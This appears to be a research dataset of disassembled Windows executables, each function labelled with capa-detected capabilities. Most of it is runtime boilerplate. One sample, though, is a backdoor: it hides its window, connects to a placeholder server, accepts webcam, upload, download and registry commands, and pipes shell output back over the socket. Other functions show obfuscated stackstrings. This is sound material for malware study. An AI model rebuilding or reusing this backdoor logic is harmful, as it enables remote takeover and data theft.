joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408847
Capabilities:
Check os version

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
push esi
mov esi, ecx
call ebx
and eax, 0xff
cmp eax, 4
sbb eax, eax
add eax, 1
mov dword [esi + 0x3e8], eax
jne 0x408868
pop esi
xor eax, eax
pop ebx
ret 0x2c
push edi
mov edi, dword [esp + 0x10]
mov dword [0x41780c], 0x80
push edi
mov ecx, esi
mov dword [esi + 0x3dc], edi
call fcn.004087e0
push 0
push edi
push 0
push 0
push SysReAllocString
push SysReAllocString
push SysReAllocString
push SysReAllocString
push SysReAllocString
push 0x412c14
push 0x412cb0
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
lea edi, [esi + 0x24]
mov dword [esi + 0x3e0], eax
mov dword [edi], 0x3b8
call ebx
cmp al, 5
ja 0x4088d9
shr eax, 8
cmp al, 2
jae 0x4088d9
mov dword [edi], 0x3a8
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x4088e7
mov eax, dword [esi + 0x3e0]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
mov dword [esi + 0x28], eax
mov eax, dword [esp + 0x24]
mov dword [esi + 0x38], ecx
mov ecx, dword [esp + 0x1c]
mov dword [esi + 0x34], edx
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], 7
mov eax, dword [0x41780c]
push eax
push ecx
lea edx, [esi + 0x3c]
push 0x80
push edx
call fcn.004093c0
mov ebx, dword [esp + 0x3c]
add esp, 0x10
cmp dword [esi + 0x3f8], 0
je 0x408992
test ebx, ebx
je 0x408992
or dword [esi + 0x30], 0x10
push 0xff
push ebx
lea eax, [esi + 0x144]
push 0x100
push eax
call fcn.004093c0
mov eax, dword [esp + 0x40]
add esp, 0x10
test eax, eax
je 0x40896f
push 0x3f
push eax
lea ecx, [esi + 0x348]
push 0x40
push ecx
call fcn.004093c0
add esp, 0x10
jmp 0x408978
xor edx, edx
mov word [esi + 0x348], dx
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
imul eax, eax, 0x3e8
mov dword [esi + 0x344], eax
mov dword [esi + 0x3c8], ecx
mov edx, dword [esi + 0x28]
mov ecx, dword [esp + 0x28]
mov dword [esi + 0x3e4], edx
mov edx, dword [esi + 0x3f8]
mov dword [esi + 0x3ec], ecx
mov eax, 1
test edx, edx
je 0x4089cb
test ecx, ecx
je 0x4089cb
mov dword [esi + 0x30], 8
mov dword [esi + 0x13c], eax
mov dword [esi + 0x140], eax
push ebp
mov ebp, dword [esi + 0x30]
mov dword [esi + 0x438], ebp
pop ebp
test ecx, ecx
je 0x4089de
test edx, edx
je 0x408a00
push edi
push 0
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
xor ecx, ecx
test eax, eax
sete cl
mov dword [esi + 0x3f0], ecx
mov dword [esi + 0x3ec], ecx
mov dword [esi + 0x3f4], ecx
cmp dword [esi + 0x3f8], 0
pop edi
je 0x408a17
test ebx, ebx
je 0x408a17
xor ecx, ecx
mov word [esi + 0x144], cx
pop esi
pop ebx
ret 0x2c

Function at 0x40969c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417a78]
jne 0x4096a6
repz ret
jmp fcn.0040be6d
Function at 0x40ea40
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040d020
and dword [ebp - 4], 0
cmp dword [0x4196d8], 0
mov ebx, eax
jne 0x40eaf1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40eba2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40eba2
push eax
call fcn.0040cfae
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4196d8], eax
call esi
push eax
call fcn.0040cfae
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4196dc], eax
call esi
push eax
call fcn.0040cfae
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4196e0], eax
call esi
push eax
call fcn.0040cfae
pop ecx
mov dword [0x4196e8], eax
test eax, eax
je 0x40eaf1
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040cfae
pop ecx
mov dword [0x4196e4], eax
mov eax, dword [0x4196e4]
cmp eax, ebx
je 0x40eb49
cmp dword [0x4196e8], ebx
je 0x40eb49
push eax
call fcn.0040d029
push dword [0x4196e8]
mov esi, eax
call fcn.0040d029
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40eb49
test edi, edi
je 0x40eb49
call esi
test eax, eax
je 0x40eb40
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40eb40
test byte [ebp - 0xc], 1
jne 0x40eb49
or dword [ebp + 0x10], 0x200000
jmp 0x40eb82
mov eax, dword [0x4196dc]
cmp eax, ebx
je 0x40eb82
push eax
call fcn.0040d029
pop ecx
test eax, eax
je 0x40eb82
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40eb82
mov eax, dword [0x4196e0]
cmp eax, ebx
je 0x40eb82
push eax
call fcn.0040d029
pop ecx
test eax, eax
je 0x40eb82
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4196d8]
call fcn.0040d029
pop ecx
test eax, eax
je 0x40eba2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40eba4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40d058], 1
mov dword [0x40d054], 1
mov dword [0x40d050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40d00c], eax
mov eax, dword [0x40d064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40d078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40d060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x409014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401524
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401552
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
nop
leave
ret

Function at 0x401555
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
mov dword [esp + 4], 0x40a044
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__popen]
call eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401608
mov dword [esp + 8], str.Error.
mov dword [esp + 4], 0x800
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._snprintf
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x80c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x401636
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x80c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x7ff
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._fgets
test eax, eax
jne 0x4015d4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__pclose]
call eax
nop
leave
ret
Function at 0x401639
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x3ff
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x401818
cmp dword [ebp - 0xc], 0
je 0x401818
lea edx, [ebp - 0x40c]
mov eax, dword [ebp - 0xc]
add eax, edx
mov byte [eax], 0
movzx edx, byte [0x40a04d]
movzx eax, byte [ebp - 0x40c]
movzx edx, dl
movzx eax, al
sub edx, eax
test edx, edx
je 0x401817
mov dword [esp + 8], 3
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], 0x40a04f
call sym._strncmp
test eax, eax
je 0x401642
mov dword [esp + 8], 3
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], 0x40a053
call sym._strncmp
test eax, eax
je 0x401642
mov dword [esp + 8], 6
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], str.webcam
call sym._strncmp
test eax, eax
je 0x401642
mov dword [esp + 8], 3
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], 0x40a05e
call sym._strncmp
test eax, eax
je 0x401642
mov dword [esp + 8], 6
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], str.upload
call sym._strncmp
test eax, eax
je 0x401642
mov dword [esp + 8], 8
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], str.download
call sym._strncmp
test eax, eax
je 0x401642
mov dword [esp + 8], 7
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], str.reg_add
call sym._strncmp
test eax, eax
je 0x401642
mov dword [esp + 8], 0xa
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], str.reg_remove
call sym._strncmp
test eax, eax
je 0x401642
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._X
jmp 0x401642
nop
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
nop
leave
ret
Function at 0x40185f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x1c4
call dbg.__main
mov dword [ebp - 0xc], 0xffffffff
lea eax, [ebp - 0x19c]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x4018a8
mov eax, 1
jmp 0x401971
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4018e3
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, 1
jmp 0x401971
mov word [ebp - 0x1ac], 2
mov dword [esp], 0xc355
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x1aa], ax
mov dword [esp], str.YOUR_SERVER_IP
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x1a8], eax
jmp 0x40192e
mov dword [esp], 0x2710
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1ac]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
cmp eax, 0xffffffff
je 0x40191d
call sym._H
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._Y
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x401be0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401c40
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40d06c]
test esi, esi
jle 0x401d60
mov eax, dword [0x40d070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401c74
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401cf7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401c60
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401d87
mov eax, dword [0x40d070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40d070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401d67
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401cf0
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x401d00
add dword [0x40d06c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40d070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401cf0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x401c7e
mov eax, dword [0x40d070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop

Function at 0x4022b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d080]
sub esp, 4
test ebx, ebx
je 0x402305
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x4022fe
test eax, eax
jne 0x4022fe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4022e0
mov dword [esp], 0x40d088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402640
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402665
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402670
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402665
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x4026b8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4026ae
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4026ba
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x4026a0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x100026c0
Capabilities:
Terminate process
Terminate thread

Disassembly:
sub esp, 8
mov byte [0x10055c81], 1
cmp dword [0x10055c8c], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov esi, ecx
je 0x10002709
mov eax, dword [0x10055c8c]
push 0x1388
push eax
call ebx
test eax, eax
je 0x100026ff
mov eax, dword [0x10055c8c]
push 0
push eax
call edi
mov dword [0x10055c8c], 0
cmp dword [0x10055c88], 0
je 0x10002737
mov eax, dword [0x10055c88]
push 0x898
push eax
call ebx
test eax, eax
je 0x1000272d
mov eax, dword [0x10055c88]
push 0
push eax
call edi
mov dword [0x10055c88], 0
cmp dword [0x10055c84], 0
je 0x10002765
mov eax, dword [0x10055c84]
push 0xc8
push eax
call ebx
test eax, eax
je 0x1000275b
mov eax, dword [0x10055c84]
push 0
push eax
call edi
mov dword [0x10055c84], 0
mov eax, dword [esi + 0x416c]
test eax, eax
je 0x1000278f
push 0xc8
push eax
call ebx
test eax, eax
je 0x10002785
push 0
push dword [esi + 0x416c]
call edi
mov dword [esi + 0x416c], 0
cmp dword [0x10073dc4], 0
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x100027df
lea eax, [esp + 0xc]
push eax
mov eax, dword [0x10073dc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x100027c3
cmp dword [esp + 0xc], 0x103
jne 0x100027cd
mov eax, dword [0x10073dc4]
push 0
push eax
call ebx
mov eax, dword [0x10073dc4]
push eax
call edi
mov dword [0x10073dc4], 0
cmp dword [0x10055c94], 0
je 0x10002823
lea eax, [esp + 0x10]
push eax
mov eax, dword [0x10055c94]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x10002807
cmp dword [esp + 0x10], 0x103
jne 0x10002811
mov eax, dword [0x10055c94]
push 0
push eax
call ebx
mov eax, dword [0x10055c94]
push eax
call edi
mov dword [0x10055c94], 0
mov eax, dword [esi + 8]
test eax, eax
je 0x10002834
push eax
call edi
mov dword [esi + 8], 0
mov eax, dword [esi + 0xc]
test eax, eax
je 0x10002845
push eax
call edi
mov dword [esi + 0xc], 0
mov eax, dword [esi + 0x10]
test eax, eax
je 0x10002856
push eax
call edi
mov dword [esi + 0x10], 0
cmp dword [0x10055c90], 0
je 0x10002871
mov eax, dword [0x10055c90]
push eax
call edi
mov dword [0x10055c90], 0
lea ecx, [esi + 0x419c]
call fcn.10009450
lea ecx, [esi + 0x4198]
call fcn.100093f0
lea ecx, [esi + 0x4180]
call fcn.10009450
lea ecx, [esi + 0x413c]
call fcn.10009480
lea ecx, [esi + 0x4130]
call fcn.10009480
lea ecx, [esi + 0x4124]
call fcn.10009480
lea ecx, [esi + 0x40e0]
call fcn.100094c0
lea ecx, [esi + 0x40d0]
call fcn.10009470
lea ecx, [esi + 0x40a8]
call fcn.10009450
lea ecx, [esi + 0x4090]
call fcn.10009460
lea ecx, [esi + 0x407c]
call fcn.10009460
lea ecx, [esi + 0x60]
call fcn.10009480
lea ecx, [esi + 0x54]
call fcn.10009480
lea ecx, [esi + 0x48]
call fcn.10009480
pop edi
lea ecx, [esi + 0x30]
pop esi
pop ebx
add esp, 8
jmp fcn.10009450
Function at 0x10004040
Capabilities:
Check if file exists

Disassembly:
push edi
mov edi, ecx
mov ecx, dword [esp + 8]
call fcn.1000ca30
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10004066
push dword [esp + 0xc]
mov ecx, edi
push dword [esp + 0xc]
call fcn.10003d60
pop edi
ret 8

Function at 0x10004070
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10043823
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
sub esp, 0x18
mov word [ebp - 0x17], 0x4143
mov edi, ecx
mov word [ebp - 0x14], 0x20
mov ecx, esp
mov byte [ebp - 0x15], 0x4e
mov byte [ebp - 0x18], 0x53
push ebx
call fcn.10008fe0
lea eax, [ebp - 0x6c]
push eax
call fcn.100069e0
add esp, 0x1c
mov esi, eax
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x54]
call fcn.10008f40
push esi
push eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 1
push eax
call fcn.10007b60
add esp, 0xc
lea ecx, [ebp - 0x54]
call fcn.10009440
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 4
call fcn.10009440
push 0
push 0x80
push 3
push 0
push 1
mov eax, 0x3a
mov dword [ebp - 0x22], 0x4f0020
push 0x80000000
mov ecx, ebx
mov word [ebp - 0x24], ax
mov dword [ebp - 0x1e], 0x4b
call fcn.1000ca30
push eax
call dword [0x1007407c]
mov esi, eax
cmp esi, 0xffffffff
je 0x100041a4
lea eax, [ebp + 8]
mov dword [ebp + 8], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x80000
ja 0x10004188
cmp dword [ebp + 8], 0
jne 0x10004188
lea ecx, [ebp - 0x3c]
call fcn.1000ca20
push eax
mov ecx, edi
call fcn.10004390
test al, al
je 0x1000419b
mov ecx, edi
mov byte [edi + 0x415c], 1
call fcn.100043e0
push esi
mov byte [edi + 0x415c], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100041b7
lea eax, [ebp - 0x24]
mov ecx, ebx
push eax
call fcn.1000c640
push ebx
mov ecx, edi
call fcn.100048b0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100041b7
lea eax, [ebp - 0x24]
mov ecx, ebx
push eax
call fcn.1000c640
push ebx
mov ecx, edi
call fcn.100048b0
lea ecx, [ebp - 0x3c]
call fcn.10009440
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10004300
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0xc
push esi
push edi
mov edi, ecx
mov dword [esp + 8], 0x2e373231
mov dword [esp + 0xd], 0x312e302e
mov byte [esp + 0xc], 0x30
mov byte [esp + 0x11], 0
push dword [edi + 0x78]
call dword [0x100740c8]
push 6
push 1
push 2
call dword [0x100740a8]
mov dword [edi + 0x78], eax
lea esi, [edi + 0x40c0]
mov eax, 2
mov word [esi], ax
lea eax, [esp + 8]
push eax
call dword [0x100740b0]
mov dword [edi + 0x40c4], eax
mov eax, 0xcee
add ax, word [edi + 0x4170]
movzx eax, ax
push eax
call dword [0x100740b4]
push 0x10
push esi
push dword [edi + 0x78]
mov word [edi + 0x40c2], ax
call dword [0x100740bc]
cmp eax, 0xffffffff
pop edi
setne al
pop esi
add esp, 0xc
ret
Function at 0x10004d90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x101
mov edi, ecx
call dword [0x100740b8]
push 6
push 1
push 2
call dword [0x100740a8]
mov dword [edi + 0x78], eax
cmp eax, 0xffffffff
je 0x10004e46
push esi
mov eax, 2
mov dword [esp + 9], 0x474e49
lea esi, [edi + 0x40c0]
mov byte [esp + 8], 0x50
mov word [esi], ax
lea eax, [esp + 0x10]
push eax
mov word [esp + 0x19], 0x302e
mov dword [esp + 0x14], 0x2e373231
mov word [esp + 0x1c], 0x31
mov byte [esp + 0x18], 0x30
mov byte [esp + 0x1b], 0x2e
call dword [0x100740b0]
mov dword [edi + 0x40c4], eax
mov eax, 0xcee
add ax, word [edi + 0x4170]
movzx eax, ax
push eax
call dword [0x100740b4]
push 0x10
push esi
push dword [edi + 0x78]
mov word [edi + 0x40c2], ax
call dword [0x100740bc]
pop esi
cmp eax, 0xffffffff
jne 0x10004e56
push dword [edi + 0x78]
call dword [0x100740c8]
call dword [0x100740ac]
xor al, al
pop edi
add esp, 0x1a4
ret
lea eax, [esp + 4]
mov ecx, edi
push eax
call fcn.10004390
mov ecx, edi
call fcn.100043e0
mov al, 1
pop edi
add esp, 0x1a4
ret